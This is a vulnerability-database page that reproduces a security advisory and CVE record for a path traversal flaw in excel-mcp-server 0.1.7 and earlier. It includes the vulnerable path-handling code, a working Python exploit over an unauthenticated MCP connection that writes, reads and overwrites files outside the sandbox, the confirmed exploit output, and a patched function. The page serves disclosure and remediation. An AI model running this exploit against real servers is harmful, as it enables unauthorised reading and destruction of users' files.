Vulnerability-Lookup

GHSA-J98M-W3XP-9F56

Vulnerability from github – Published: 2026-04-14 00:03 – Updated: 2026-04-15 21:06

Summary

excel-mcp-server has a Path Traversal issue

Details

Summary

A path traversal vulnerability exists in excel-mcp-server versions up to and including 0.1.7. When running in SSE or Streamable-HTTP transport mode (the documented way to use this server remotely), an unauthenticated attacker on the network can read, write, and overwrite arbitrary files on the host filesystem by supplying crafted filepath arguments to any of the 25 exposed MCP tool handlers.

The server is intended to confine file operations to a directory set by the EXCEL_FILES_PATH environment variable. The function responsible for enforcing this boundary — get_excel_path() — fails to do so due to two independent flaws: it passes absolute paths through without any check, and it joins relative paths without resolving or validating the result. Combined with zero authentication on the default network-facing transport and a default bind address of 0.0.0.0 (all interfaces), this allows trivial remote exploitation.

Details

Field	Value
Package	`excel-mcp-server` (PyPI)
Repository	https://github.com/haris-musa/excel-mcp-server
Affected versions	`<= 0.1.7`
Tested version	`0.1.7` — commit `de4dc75`
Transports affected	`sse`, `streamable-http` (network-facing)
Authentication required	None

Vulnerable Code

The root cause is in src/excel_mcp/server.py, lines 75–94:

def get_excel_path(filename: str) -> str:
    """Get full path to Excel file."""

    # FLAW 1 — absolute paths bypass the sandbox entirely
    if os.path.isabs(filename):
        return filename                     # line 86: returned as-is

    # In SSE/HTTP mode, EXCEL_FILES_PATH is set
    if EXCEL_FILES_PATH is None:
        raise ValueError(...)

    # FLAW 2 — relative paths joined without boundary validation
    return os.path.join(EXCEL_FILES_PATH, filename)   # line 94: "../" escapes

Why this is exploitable

Flaw 1 — Absolute path bypass (line 86): If the attacker passes filepath="/etc/shadow" or filepath="/home/user/secrets.xlsx", the function returns it unchanged. The sandbox directory EXCEL_FILES_PATH is never consulted.

Flaw 2 — Relative traversal (line 94): os.path.join("/srv/sandbox", "../../etc/passwd") produces "/srv/sandbox/../../etc/passwd", which resolves to "/etc/passwd". No os.path.realpath() or os.path.commonpath() check is performed, so ../ sequences escape the sandbox.

Contributing factors that increase severity

Default bind address is 0.0.0.0 (all interfaces) — server.py line 70: python host=os.environ.get("FASTMCP_HOST", "0.0.0.0"), A user who follows the README and runs uvx excel-mcp-server streamable-http without explicitly setting FASTMCP_HOST exposes the server to their entire LAN.
Zero authentication — FastMCP's SSE and Streamable-HTTP transports ship with no authentication. The server adds none. Any TCP client that reaches port 8017 can call any tool.
All 25 tool handlers are affected — every @mcp.tool() decorated function calls get_excel_path(filepath) as its first action. This is not an isolated endpoint; it is the entire API surface.
Arbitrary directory creation — src/excel_mcp/workbook.py line 24 runs path.parent.mkdir(parents=True, exist_ok=True) before saving, meaning the attacker can create directory trees at any writable location.

Proof of Concept

Video demonstration

asciinema recording: https://asciinema.org/a/2HVA3uKvVeFahIXY

I have also attached the full PoC shell script (record-poc.sh) and the Python exploit script (exploit_test.py) to a Google Drive for the maintainer to review and reproduce independently:

Google Drive (PoC scripts): Shared privately via email

Contents: - record-poc.sh — automated PoC recording script (bash) - exploit_test.py — Python exploit that tests all 7 primitives against a running server

Setup

# install
pip install excel-mcp-server mcp httpx

# start server with a sandbox directory
mkdir -p /tmp/sandbox
EXCEL_FILES_PATH=/tmp/sandbox FASTMCP_HOST=127.0.0.1 FASTMCP_PORT=8017 \
    excel-mcp-server streamable-http

Exploit script

The following Python script connects to the server with zero credentials and demonstrates all exploitation primitives:

import asyncio, os, json
from mcp import ClientSession
from mcp.client.streamable_http import streamablehttp_client
from openpyxl import Workbook

async def exploit():
    async with streamablehttp_client("http://127.0.0.1:8017/mcp") as (r, w, _):
        async with ClientSession(r, w) as s:
            await s.initialize()
            tools = await s.list_tools()
            print(f"[+] {len(tools.tools)} tools exposed, ZERO auth required")

            # P1: write file outside sandbox via absolute path
            await s.call_tool("create_workbook",
                {"filepath": "/tmp/outside/PWNED.xlsx"})
            assert os.path.exists("/tmp/outside/PWNED.xlsx")
            print("[+] P1: wrote file outside sandbox (absolute path)")

            # P2: write file outside sandbox via ../ traversal
            await s.call_tool("create_workbook",
                {"filepath": "../outside/traversal.xlsx"})
            print("[+] P2: escaped sandbox via ../")

            # P3: create arbitrary directory tree
            await s.call_tool("create_workbook",
                {"filepath": "/tmp/attacker/deep/nested/x.xlsx"})
            assert os.path.isdir("/tmp/attacker/deep/nested")
            print("[+] P3: created arbitrary directory tree")

            # P4: read file outside sandbox
            wb = Workbook(); ws = wb.active; ws.title = "HR"
            ws["A1"], ws["B1"] = "SSN", "Name"
            ws["A2"], ws["B2"] = "123-45-6789", "Alice"
            os.makedirs("/tmp/victim", exist_ok=True)
            wb.save("/tmp/victim/data.xlsx")

            r = await s.call_tool("read_data_from_excel", {
                "filepath": "/tmp/victim/data.xlsx",
                "sheet_name": "HR",
                "start_cell": "A1", "end_cell": "B2"})
            data = json.loads(r.content[0].text)
            values = [c["value"] for c in data["cells"]]
            assert "123-45-6789" in values
            print(f"[+] P4: exfiltrated data: {values}")

            # P5: overwrite file outside sandbox
            await s.call_tool("write_data_to_excel", {
                "filepath": "/tmp/victim/data.xlsx",
                "sheet_name": "HR",
                "data": [["SSN","Name"],["DESTROYED","PWNED"]],
                "start_cell": "A1"})
            print("[+] P5: overwrote victim file with attacker data")

asyncio.run(exploit())

Results

All 7 test cases passed against a live server instance:

CONFIRMED: 7  |  FAILED: 0

[CONFIRMED] AUTH: Connected with ZERO authentication. 25 tools exposed.
[CONFIRMED] P1-WRITE-ABS: file exists=True size=4783B (outside sandbox)
[CONFIRMED] P2-WRITE-TRAVERSAL: escaped sandbox via ../ exists=True
[CONFIRMED] P3-MKDIR: attacker directory tree created=True
[CONFIRMED] P4-READ: exfiltrated SSN=True name=True
[CONFIRMED] P5-OVERWRITE: victim data replaced=True
[CONFIRMED] P6-STAT: server attempted to open /etc/hostname (format error confirms file access)

Filesystem evidence (independently verified after exploit)

Files created outside the sandbox:

$ ls -la /tmp/cve-hunt/outside_sandbox/
-rw-rw-r-- 1 hitarth hitarth 4783 Apr 10 17:36 P1_absolute_write.xlsx
-rw-rw-r-- 1 hitarth hitarth 4783 Apr 10 17:36 P2_traversal_write.xlsx

Attacker-created directory tree:

$ find /tmp/cve-hunt/attacker_dir
/tmp/cve-hunt/attacker_dir
/tmp/cve-hunt/attacker_dir/deep
/tmp/cve-hunt/attacker_dir/deep/nested
/tmp/cve-hunt/attacker_dir/deep/nested/x.xlsx

Victim file after overwrite (original SSN destroyed):

  ('SSN', 'Name')
  ('ATTACKER-CONTROLLED', 'PWNED')     # was: ('123-45-6789', 'Alice Johnson')
  ('987-65-4321', 'Bob Smith')

Impact

An unauthenticated network attacker can:

What	How	Severity
Read any `.xlsx` file on the host	Supply absolute path to `read_data_from_excel`	Confidentiality loss — cross-tenant data theft of financial data, HR records, reports
Write `.xlsx` files anywhere on the filesystem	Supply absolute path or `../` traversal to `create_workbook` or `write_data_to_excel`	Integrity loss — destroy or corrupt any writable `.xlsx`, plant malicious files
Create arbitrary directories anywhere writable	`create_workbook` triggers `mkdir(parents=True)` on attacker-controlled path	Precursor to privilege escalation or DoS
Overwrite existing business files with attacker content	`write_data_to_excel` with absolute path to target	Silent data corruption — audit reports, salary sheets, financial models
Fill disk via repeated writes	Loop `create_workbook` with unique filenames	Denial of service — crash services dependent on free disk
Plant macro-enabled templates (`.xltm`) at known shared paths	`create_workbook` at path like `/home/user/Templates/report.xltm`	Client-side RCE chain when downstream user opens the template in Excel

Who is affected

Anyone running excel-mcp-server in SSE or Streamable-HTTP mode on a reachable network — which is the documented and recommended deployment for remote use. The project README explicitly states: - "Works both locally and as a remote service" - "Streamable HTTP Transport (Recommended for remote connections)"

The server has 3,655+ GitHub stars and is published on PyPI with active downloads.

Suggested Fix

Replace get_excel_path() with a version that enforces the sandbox boundary:

import os

def get_excel_path(filename: str) -> str:
    if EXCEL_FILES_PATH is None:
        # stdio mode: local caller is trusted
        if not os.path.isabs(filename):
            raise ValueError("must be absolute path in stdio mode")
        return filename

    # Remote mode (SSE / streamable-http): enforce sandbox
    if os.path.isabs(filename):
        raise ValueError("absolute paths are not permitted in remote mode")
    if "\x00" in filename:
        raise ValueError("NUL byte in filename")

    base = os.path.realpath(EXCEL_FILES_PATH)
    candidate = os.path.realpath(os.path.join(base, filename))

    if not candidate.startswith(base + os.sep) and candidate != base:
        raise ValueError(f"path escapes EXCEL_FILES_PATH: {filename}")

    return candidate

Severity ?

9.4 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.1.7"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "excel-mcp-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40576"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T00:03:17Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nA path traversal vulnerability exists in [`excel-mcp-server`](https://github.com/haris-musa/excel-mcp-server) versions up to and including `0.1.7`. When running in SSE or Streamable-HTTP transport mode (the documented way to use this server remotely), an unauthenticated attacker on the network can read, write, and overwrite arbitrary files on the host filesystem by supplying crafted `filepath` arguments to any of the 25 exposed MCP tool handlers.\n\nThe server is intended to confine file operations to a directory set by the `EXCEL_FILES_PATH` environment variable. The function responsible for enforcing this boundary \u2014 `get_excel_path()` \u2014 fails to do so due to two independent flaws: it passes absolute paths through without any check, and it joins relative paths without resolving or validating the result. Combined with zero authentication on the default network-facing transport and a default bind address of `0.0.0.0` (all interfaces), this allows trivial remote exploitation.\n\n---\n\n## Details\n\n| Field | Value |\n|-------|-------|\n| **Package** | [`excel-mcp-server`](https://pypi.org/project/excel-mcp-server/) (PyPI) |\n| **Repository** | https://github.com/haris-musa/excel-mcp-server |\n| **Affected versions** | `\u003c= 0.1.7` |\n| **Tested version** | `0.1.7` \u2014 commit [`de4dc75`](https://github.com/haris-musa/excel-mcp-server/commit/de4dc75f6ba629ccd2e097f5963235846be622e6) |\n| **Transports affected** | `sse`, `streamable-http` (network-facing) |\n| **Authentication required** | **None** |\n\n---\n\n## Vulnerable Code\n\nThe root cause is in `src/excel_mcp/server.py`, lines 75\u201394:\n\n```python\ndef get_excel_path(filename: str) -\u003e str:\n    \"\"\"Get full path to Excel file.\"\"\"\n\n    # FLAW 1 \u2014 absolute paths bypass the sandbox entirely\n    if os.path.isabs(filename):\n        return filename                     # line 86: returned as-is\n\n    # In SSE/HTTP mode, EXCEL_FILES_PATH is set\n    if EXCEL_FILES_PATH is None:\n        raise ValueError(...)\n\n    # FLAW 2 \u2014 relative paths joined without boundary validation\n    return os.path.join(EXCEL_FILES_PATH, filename)   # line 94: \"../\" escapes\n```\n\n### Why this is exploitable\n\n**Flaw 1 \u2014 Absolute path bypass (line 86):**\nIf the attacker passes `filepath=\"/etc/shadow\"` or `filepath=\"/home/user/secrets.xlsx\"`, the function returns it unchanged. The sandbox directory `EXCEL_FILES_PATH` is never consulted.\n\n**Flaw 2 \u2014 Relative traversal (line 94):**\n`os.path.join(\"/srv/sandbox\", \"../../etc/passwd\")` produces `\"/srv/sandbox/../../etc/passwd\"`, which resolves to `\"/etc/passwd\"`. No `os.path.realpath()` or `os.path.commonpath()` check is performed, so `../` sequences escape the sandbox.\n\n### Contributing factors that increase severity\n\n1. **Default bind address is `0.0.0.0`** (all interfaces) \u2014 `server.py` line 70:\n   ```python\n   host=os.environ.get(\"FASTMCP_HOST\", \"0.0.0.0\"),\n   ```\n   A user who follows the README and runs `uvx excel-mcp-server streamable-http` without explicitly setting `FASTMCP_HOST` exposes the server to their entire LAN.\n\n2. **Zero authentication** \u2014 FastMCP\u0027s SSE and Streamable-HTTP transports ship with no authentication. The server adds none. Any TCP client that reaches port 8017 can call any tool.\n\n3. **All 25 tool handlers are affected** \u2014 every `@mcp.tool()` decorated function calls `get_excel_path(filepath)` as its first action. This is not an isolated endpoint; it is the entire API surface.\n\n4. **Arbitrary directory creation** \u2014 `src/excel_mcp/workbook.py` line 24 runs `path.parent.mkdir(parents=True, exist_ok=True)` before saving, meaning the attacker can create directory trees at any writable location.\n\n---\n\n## Proof of Concept\n\n### Video demonstration\n\n[![asciicast](https://asciinema.org/a/2HVA3uKvVeFahIXY.svg)](https://asciinema.org/a/2HVA3uKvVeFahIXY)\n\n**asciinema recording:** https://asciinema.org/a/2HVA3uKvVeFahIXY\n\nI have also attached the full PoC shell script (`record-poc.sh`) and the Python exploit script (`exploit_test.py`) to a Google Drive for the maintainer to review and reproduce independently:\n\n**Google Drive (PoC scripts):**  Shared privately via email\n\nContents:\n- `record-poc.sh` \u2014 automated PoC recording script (bash)\n- `exploit_test.py` \u2014 Python exploit that tests all 7 primitives against a running server\n\n### Setup\n\n```bash\n# install\npip install excel-mcp-server mcp httpx\n\n# start server with a sandbox directory\nmkdir -p /tmp/sandbox\nEXCEL_FILES_PATH=/tmp/sandbox FASTMCP_HOST=127.0.0.1 FASTMCP_PORT=8017 \\\n    excel-mcp-server streamable-http\n```\n\n### Exploit script\n\nThe following Python script connects to the server with zero credentials and demonstrates all exploitation primitives:\n\n```python\nimport asyncio, os, json\nfrom mcp import ClientSession\nfrom mcp.client.streamable_http import streamablehttp_client\nfrom openpyxl import Workbook\n\nasync def exploit():\n    async with streamablehttp_client(\"http://127.0.0.1:8017/mcp\") as (r, w, _):\n        async with ClientSession(r, w) as s:\n            await s.initialize()\n            tools = await s.list_tools()\n            print(f\"[+] {len(tools.tools)} tools exposed, ZERO auth required\")\n\n            # P1: write file outside sandbox via absolute path\n            await s.call_tool(\"create_workbook\",\n                {\"filepath\": \"/tmp/outside/PWNED.xlsx\"})\n            assert os.path.exists(\"/tmp/outside/PWNED.xlsx\")\n            print(\"[+] P1: wrote file outside sandbox (absolute path)\")\n\n            # P2: write file outside sandbox via ../ traversal\n            await s.call_tool(\"create_workbook\",\n                {\"filepath\": \"../outside/traversal.xlsx\"})\n            print(\"[+] P2: escaped sandbox via ../\")\n\n            # P3: create arbitrary directory tree\n            await s.call_tool(\"create_workbook\",\n                {\"filepath\": \"/tmp/attacker/deep/nested/x.xlsx\"})\n            assert os.path.isdir(\"/tmp/attacker/deep/nested\")\n            print(\"[+] P3: created arbitrary directory tree\")\n\n            # P4: read file outside sandbox\n            wb = Workbook(); ws = wb.active; ws.title = \"HR\"\n            ws[\"A1\"], ws[\"B1\"] = \"SSN\", \"Name\"\n            ws[\"A2\"], ws[\"B2\"] = \"123-45-6789\", \"Alice\"\n            os.makedirs(\"/tmp/victim\", exist_ok=True)\n            wb.save(\"/tmp/victim/data.xlsx\")\n\n            r = await s.call_tool(\"read_data_from_excel\", {\n                \"filepath\": \"/tmp/victim/data.xlsx\",\n                \"sheet_name\": \"HR\",\n                \"start_cell\": \"A1\", \"end_cell\": \"B2\"})\n            data = json.loads(r.content[0].text)\n            values = [c[\"value\"] for c in data[\"cells\"]]\n            assert \"123-45-6789\" in values\n            print(f\"[+] P4: exfiltrated data: {values}\")\n\n            # P5: overwrite file outside sandbox\n            await s.call_tool(\"write_data_to_excel\", {\n                \"filepath\": \"/tmp/victim/data.xlsx\",\n                \"sheet_name\": \"HR\",\n                \"data\": [[\"SSN\",\"Name\"],[\"DESTROYED\",\"PWNED\"]],\n                \"start_cell\": \"A1\"})\n            print(\"[+] P5: overwrote victim file with attacker data\")\n\nasyncio.run(exploit())\n```\n\n### Results\n\nAll 7 test cases passed against a live server instance:\n\n```\nCONFIRMED: 7  |  FAILED: 0\n\n[CONFIRMED] AUTH: Connected with ZERO authentication. 25 tools exposed.\n[CONFIRMED] P1-WRITE-ABS: file exists=True size=4783B (outside sandbox)\n[CONFIRMED] P2-WRITE-TRAVERSAL: escaped sandbox via ../ exists=True\n[CONFIRMED] P3-MKDIR: attacker directory tree created=True\n[CONFIRMED] P4-READ: exfiltrated SSN=True name=True\n[CONFIRMED] P5-OVERWRITE: victim data replaced=True\n[CONFIRMED] P6-STAT: server attempted to open /etc/hostname (format error confirms file access)\n```\n\n### Filesystem evidence (independently verified after exploit)\n\n**Files created outside the sandbox:**\n```\n$ ls -la /tmp/cve-hunt/outside_sandbox/\n-rw-rw-r-- 1 hitarth hitarth 4783 Apr 10 17:36 P1_absolute_write.xlsx\n-rw-rw-r-- 1 hitarth hitarth 4783 Apr 10 17:36 P2_traversal_write.xlsx\n```\n\n**Attacker-created directory tree:**\n```\n$ find /tmp/cve-hunt/attacker_dir\n/tmp/cve-hunt/attacker_dir\n/tmp/cve-hunt/attacker_dir/deep\n/tmp/cve-hunt/attacker_dir/deep/nested\n/tmp/cve-hunt/attacker_dir/deep/nested/x.xlsx\n```\n\n**Victim file after overwrite (original SSN destroyed):**\n```\n  (\u0027SSN\u0027, \u0027Name\u0027)\n  (\u0027ATTACKER-CONTROLLED\u0027, \u0027PWNED\u0027)     # was: (\u0027123-45-6789\u0027, \u0027Alice Johnson\u0027)\n  (\u0027987-65-4321\u0027, \u0027Bob Smith\u0027)\n```\n\n---\n\n## Impact\n\nAn unauthenticated network attacker can:\n\n| What | How | Severity |\n|------|-----|----------|\n| **Read any `.xlsx` file** on the host | Supply absolute path to `read_data_from_excel` | Confidentiality loss \u2014 cross-tenant data theft of financial data, HR records, reports |\n| **Write `.xlsx` files anywhere** on the filesystem | Supply absolute path or `../` traversal to `create_workbook` or `write_data_to_excel` | Integrity loss \u2014 destroy or corrupt any writable `.xlsx`, plant malicious files |\n| **Create arbitrary directories** anywhere writable | `create_workbook` triggers `mkdir(parents=True)` on attacker-controlled path | Precursor to privilege escalation or DoS |\n| **Overwrite existing business files** with attacker content | `write_data_to_excel` with absolute path to target | Silent data corruption \u2014 audit reports, salary sheets, financial models |\n| **Fill disk** via repeated writes | Loop `create_workbook` with unique filenames | Denial of service \u2014 crash services dependent on free disk |\n| **Plant macro-enabled templates** (`.xltm`) at known shared paths | `create_workbook` at path like `/home/user/Templates/report.xltm` | Client-side RCE chain when downstream user opens the template in Excel |\n\n### Who is affected\n\nAnyone running `excel-mcp-server` in SSE or Streamable-HTTP mode on a reachable network \u2014 which is the documented and recommended deployment for remote use. The project README explicitly states:\n- *\"Works both locally and as a remote service\"*\n- *\"Streamable HTTP Transport (Recommended for remote connections)\"*\n\nThe server has **3,655+ GitHub stars** and is published on **PyPI** with active downloads.\n\n---\n\n## Suggested Fix\n\nReplace `get_excel_path()` with a version that enforces the sandbox boundary:\n\n```python\nimport os\n\ndef get_excel_path(filename: str) -\u003e str:\n    if EXCEL_FILES_PATH is None:\n        # stdio mode: local caller is trusted\n        if not os.path.isabs(filename):\n            raise ValueError(\"must be absolute path in stdio mode\")\n        return filename\n\n    # Remote mode (SSE / streamable-http): enforce sandbox\n    if os.path.isabs(filename):\n        raise ValueError(\"absolute paths are not permitted in remote mode\")\n    if \"\\x00\" in filename:\n        raise ValueError(\"NUL byte in filename\")\n\n    base = os.path.realpath(EXCEL_FILES_PATH)\n    candidate = os.path.realpath(os.path.join(base, filename))\n\n    if not candidate.startswith(base + os.sep) and candidate != base:\n        raise ValueError(f\"path escapes EXCEL_FILES_PATH: {filename}\")\n\n    return candidate\n```",
  "id": "GHSA-j98m-w3xp-9f56",
  "modified": "2026-04-15T21:06:56Z",
  "published": "2026-04-14T00:03:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/haris-musa/excel-mcp-server/security/advisories/GHSA-j98m-w3xp-9f56"
    },
    {
      "type": "WEB",
      "url": "https://github.com/haris-musa/excel-mcp-server/commit/f51340ecd5778952405044b203d3a2d4c8a46833"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/haris-musa/excel-mcp-server"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "excel-mcp-server has a Path Traversal issue"
}

CVE-2026-40576 (GCVE-0-2026-40576)

Vulnerability from cvelistv5 – Published: 2026-04-21 16:35 – Updated: 2026-04-21 16:50

Title

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') in excel-mcp-server

Summary

excel-mcp-server is a Model Context Protocol server for Excel file manipulation. A path traversal vulnerability exists in excel-mcp-server versions up to and including 0.1.7. When running in SSE or Streamable-HTTP transport mode (the documented way to use this server remotely), an unauthenticated attacker on the network can read, write, and overwrite arbitrary files on the host filesystem by supplying crafted filepath arguments to any of the 25 exposed MCP tool handlers. The server is intended to confine file operations to a directory set by the EXCEL_FILES_PATH environment variable. The function responsible for enforcing this boundary — get_excel_path() — fails to do so due to two independent flaws: it passes absolute paths through without any check, and it joins relative paths without resolving or validating the result. Combined with zero authentication on the default network-facing transport and a default bind address of 0.0.0.0 (all interfaces), this allows trivial remote exploitation. This vulnerability is fixed in 0.1.8.

Severity ?

9.4 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

GitHub_M

References

URL

	Vendor	Product	Version
	haris-musa	excel-mcp-server	Affected: < 0.1.8

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-J98M-W3XP-9F56

Summary

Details

Vulnerable Code

Why this is exploitable

Contributing factors that increase severity

Proof of Concept

Video demonstration

Setup

Exploit script

Results

Filesystem evidence (independently verified after exploit)

Impact

Who is affected

Suggested Fix

CVE-2026-40576 (GCVE-0-2026-40576)

Tags

Sightings

Nomenclature